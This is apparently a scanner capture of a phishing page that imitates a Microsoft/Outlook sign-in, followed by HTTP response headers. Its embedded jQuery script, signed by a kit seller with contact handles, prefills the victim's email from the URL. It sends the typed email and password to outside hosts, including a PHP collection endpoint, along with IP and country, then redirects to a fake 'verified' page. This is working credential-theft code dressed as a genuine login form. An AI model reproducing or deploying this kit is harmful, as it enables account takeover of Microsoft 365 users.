return s(e.stack)}if(e.error){if(e.error.stack){return s(e.error.stack)}}else if(window.opera&&e.message){return c(e.message)}}catch(e){}return null}function l(e,r){var t=[];try{for(var n=arguments.callee;r>0;){n=n?n.caller:n,r--}for(var o=0;n&&o<L;){var a="InvalidMethod()";try{a=n.toString()}catch(e){}var i=[],s=n.args||n.arguments;if(s){for(var c=0;c<s.length;c++){i[c]=s[c]}}t.push(u(a,i)),n=n.caller,o++}}catch(e){t.push(u(e.toString(),[]))}var l=d(e)
;return l&&(t.push(u("--- Error Event Stack -----------------",[])),t=t.concat(l)),t}function f(e){if(e){try{var r=/function (.{1,})\(/,t=r.exec(e.constructor.toString());return t&&t.length>1?t[1]:""}catch(e){}}return""}function g(e){if(e){try{if("string"!=typeof e&&JSON&&JSON.stringify){var r=f(e),t=JSON.stringify(e);return t&&"{}"!==t||(e.error&&(e=e.error,r=f(e)),(t=JSON.stringify(e))&&"{}"!==t||(t=e.toString())),r+":"+t}}catch(e){}}return""+(e||"")}function v(e){var r=[];try{
if(jQuery?(r.push("jQuery v:"+jQuery().jquery),jQuery.easing?r.push("jQuery.easing:"+JSON.stringify(jQuery.easing)):r.push("jQuery.easing is not defined")):r.push("jQuery is not defined"),e&&e.expectedVersion&&r.push("Expected jQuery v:"+e.expectedVersion),m){var t,n="";for(t=0;t<m.o.length;t++){n+=m.o[t]+";"}for(r.push("$Do.o["+n+"]"),n="",t=0;t<m.q.length;t++){n+=m.q[t].id+";"}r.push("$Do.q["+n+"]")}if(h.$Debug&&h.$Debug.getLogs){var o=h.$Debug.getLogs();o&&o.length>0&&(r=r.concat(o))}if(b){
for(var a=0;a<b.length;a++){var i=b[a];if(i&&"submit"===i.cmdName){try{if(JSON&&JSON.stringify){var u=JSON.stringify(i);u&&r.push(u)}}catch(e){r.push(g(e))}}}}}catch(e){r.push(g(e))}return r}var h=window,p=h.$Config||{},y=p.watson,m=h.$Do;if(!h.$WebWatson&&y){var b=[],$=!1,w=!1,L=10,E=h.$WebWatson=new a;E.CB={},E._orgErrorHandler=h.onerror,h.onerror=i,E.errorHooked=!0,m.when("jQuery.version",function(e){y.expectedVersion=e}),m.register("$WebWatson")}}(),function(){function e(e,r){
for(var t=r.split("."),n=t.length,o=0;o<n&&null!==e&&void 0!==e;){e=e[t[o++]]}return e}function r(r){var t=null;return null===s&&(s=e(a,"Constants")),null!==s&&r&&(t=e(s,r)),null===t||void 0===t?"":t.toString()}function t(t){var n=null;return null===i&&(i=e(a,"$Config.strings")),null!==i&&t&&(n=e(i,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}function n(e,r){var n=null;return e&&r&&r[e]&&(n=t("errors."+r[e])),n||(n=t("errors."+e)),n||(n=t("errors."+c)),n||(n=t(c)),n}
function o(t){var n=null;return null===u&&(u=e(a,"$Config.urls")),null!==u&&t&&(n=e(u,t.toLowerCase())),null!==n&&void 0!==n||(n=r(t)),null===n||void 0===n?"":n.toString()}var a=window,i=null,u=null,s=null,c="GENERIC_ERROR";a.GetString=t,a.GetErrorString=n,a.GetUrl=o}(),function(){var e=window,r=e.$Config||{};e.$B=r.browser||{}}();

//]]></script> 

        <link rel="prefetch" href="https://login.live.com/Me.htm?v=3">
        <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">

    <script type="text/javascript">
        ServerData = $Config;
    </script>


    
    <link crossorigin="anonymous" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css" rel="stylesheet" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-aaNZkp+Orf+VEZusNFIGnTEJZ9UmRa1+oTUDIv88KY1TTwkFhoZ4wzV9pd5ujWPC">



<script crossorigin="anonymous" src="https://aadcdn.msftauth.net/shared/1.0/content/js/ConvergedLogin_PCore_FZ20atAlhirHa_737xNftg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)"></script>

    <script crossorigin="anonymous" src="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js" onerror="$Loader.On(this,true)" onload="$Loader.On(this)" integrity="sha384-RUzxg1X2m7djUACTlbHZxYYNzWy5WKCPy5MncckGmTnhsxraQQQsSPOSAMHg1U68"></script>

    


<link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css"><link rel="prefetch" href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js">
</head>

<body data-bind="defineGlobals: ServerData, bodyCssClass" class="cb" style="display: block;">
   
    <script type="text/javascript">
//<![CDATA[
(function () {
var $Prefetch={"rfPre":true,"delay":1000,"maxHistory":4,"maxAge":43200,"ageRes":1440,"name":"clrc","fetch":[{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css","hash":"TfCbp8XZ","co":true,"rf":true},{"path":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js","hash":"0XngNfCT","co":true,"rf":true}],"mode":5};
!function(e,t,n){function r(e){x.appendLog&&x.appendLog("Client Prefetch: "+e)}function i(){try{for(var e=t.cookie.split(";"),r=0;r<e.length;r++){var i=e[r];if(i){var o=i.indexOf("=");if(-1!==o){if(i.substr(0,o).trim()===n.name){var u=i.substr(o+1);return JSON.parse(c(u))}}}}}catch(e){}return{}}function o(e,t,n){return e.replace(t,n)}function c(e){return e=o(e,/%5c/g,"\\"),e=o(e,/%3e/g,">"),e=o(e,/%3d/g,"="),e=o(e,/%3c/g,"<"),e=o(e,/%3b/g,";"),e=o(e,/%3a/g,":"),e=o(e,/%2c/g,","),e=o(e,/%27/g,"'"),
e=o(e,/%22/g,'"'),e=o(e,/%20/g," "),e=o(e,/%25/g,"%")}function u(e){return e=o(e,/%/g,"%25"),e=o(e,/ /g,"%20"),e=o(e,/"/g,"%22"),e=o(e,/'/g,"%27"),e=o(e,/,/g,"%2c"),e=o(e,/:/g,"%3a"),e=o(e,/;/g,"%3b"),e=o(e,/</g,"%3c"),e=o(e,/=/g,"%3d"),e=o(e,/>/g,"%3e"),e=o(e,/\\/g,"%5c")}function f(e){var r=new Date;r.setTime(r.getTime()+C*H),t.cookie=n.name+"="+u(JSON.stringify(e))+";expires="+r.toUTCString()+";path=/; Secure; SameSite=None"}function a(e,t){if(e){if(e.indexOf){return e.indexOf(t)}
for(var n=0;n<e.length;n++){if(e[n]===t){return n}}}return-1}function h(e,t){return-1!==a(e,t)}function g(e,t){var n=a(e,t);return-1!==n&&(e.splice(n,1),!0)}function l(e,t){for(var n in e){if(e.hasOwnProperty(n)&&!t(n,e[n])){break}}}function s(){var e=(new Date).getTime(),t=D*H;return P.getTime()>e?Math.round(e/t):Math.round((e-P.getTime())/t)}function d(e,t){var n=!1;if(t&&t.length>0){n=!0;for(var r=0;r<t.length;r++){delete e[t[r]]}}return n}function p(e){var t=s()-C,n=t+2*C,r=null,i=0,o=[]
;return l(e,function(c){return c<t||c>n?o.push(c):(0===e[c].length?o.push(c):(null===r||c<r)&&(r=c),i++),!0}),null!==r&&i>k&&o.push(r),d(e,o)}function v(e,t,n){r("Fetched: "+e+" Hash: "+t+" isRefresh: "+n);var o=i(),c=s(),u=!1,a=!1;if(l(o,function(e,n){return!h(n,t)||(e!==c?g(o[e],t)&&(a=!0):u=!0,!1)}),!u){var d=o[c]||[];d.push(t),o[c]=d,a=!0}a|=p(o),a&&f(o),b()}function m(t,n,i,o){var c={"method":"GET"};i&&(c.mode="cors"),e.fetch(t,c).then(function(e){
200===e.status?v(t,n,o):(r("Unexpected response - "+e.status),b())}).then(null,function(e){r("Failed - "+e),b()})}function T(){if(e.XMLHttpRequest&&!J){return new XMLHttpRequest}if(e.ActiveXObject){try{return new ActiveXObject("Msxml2.XMLHTTP")}catch(e){}try{return new ActiveXObject("Microsoft.XMLHttp")}catch(e){}}return null}function w(e,t,n,i,o){r("Fetching - "+t),e.onload=function(){v(t,n,o)},e.onerror=function(){r("XHR failed!"),b()},e.ontimeout=function(){r("XHR timed out!"),b()};try{e.open("GET",t),
e.withCredentials=i&&!N,e.send()}catch(r){N?setTimeout(function(){v(t,n,o)},0):(N=!0,w(e,t,n,!1,o))}}function O(t,n,i,o){if(e.fetch){return void m(t,n,i,o)}var c=T();if(null!==c){return void w(c,t,n,i,o)}r("Unable to identify a transport option!")}function b(){var e=n.fetch;if(X<e.length&&e[X]){var t=e[X];O(t.path,t.hash,t.co||!1,t.rf||!1),X++}}function y(e){if(e){try{var n=t.createElement("link");n.rel="prefetch",n.href=e,t.head.appendChild(n)}catch(e){}}}function M(){r("Starting"),b(),b()}function S(){
for(var t=e.$Config||e.ServerData||{},r=n.fetch,i=n.mode||-1,o=-1,c=0;c<r.length;c++){0!==o&&i>=3&&(o=r[c].rf?1:0),R&&!J&&y(r[c].path||{})}t.prefetchPltMode=o}if(n&&n.fetch&&0!==n.fetch.length){var x=e.$Debug||{},X=0,H=6e4,P=new Date(2019),k=n.maxHistory||4,C=n.maxAge||20160,D=n.ageRes||1440,L=n.delay||5e3,R=n.rfPre||!1,J=void 0!==(e._phantom||e.callPhantom),N=!1;JSON&&JSON.parse&&(n.clearCookie=function(){document.cookie=n.name+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},e.$Do.when("doc.load",function(){
setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
H2
Security
TLS 1.3, , AES_256_GCM
Server
152.199.23.37 , United States, ASN15133 (EDGECAST, US),
Reverse DNS
Software
ECAcc (lhd/35A4) /
Resource Hash
f4eef033057a448d28c81d25b7a2e43f42ecaf1843858f7245bc297f48c82301

Request headers

Origin
null
Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers

x-ms-blob-type
BlockBlob
date
Wed, 10 Mar 2021 10:27:58 GMT
content-encoding
gzip
content-md5
uAGaLmkt+ggMrMyfGdkQsg==
age
2333595
x-cache
HIT
content-length
120144
x-ms-lease-status
unlocked
last-modified
Wed, 10 Feb 2021 18:32:32 GMT
server
ECAcc (lhd/35A4)
etag
0x8D8CDF23AD98758
vary
Accept-Encoding
content-type
application/x-javascript
access-control-allow-origin
*
x-ms-request-id
2d6bc0b6-501e-0046-6d5e-00c4e6000000
access-control-expose-headers
x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
cache-control
public, max-age=31536000
x-ms-version
2009-09-19
accept-ranges
bytes
ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		41 KB
12 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_asthhb7t8jihncsg5l7_cg2.js
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French 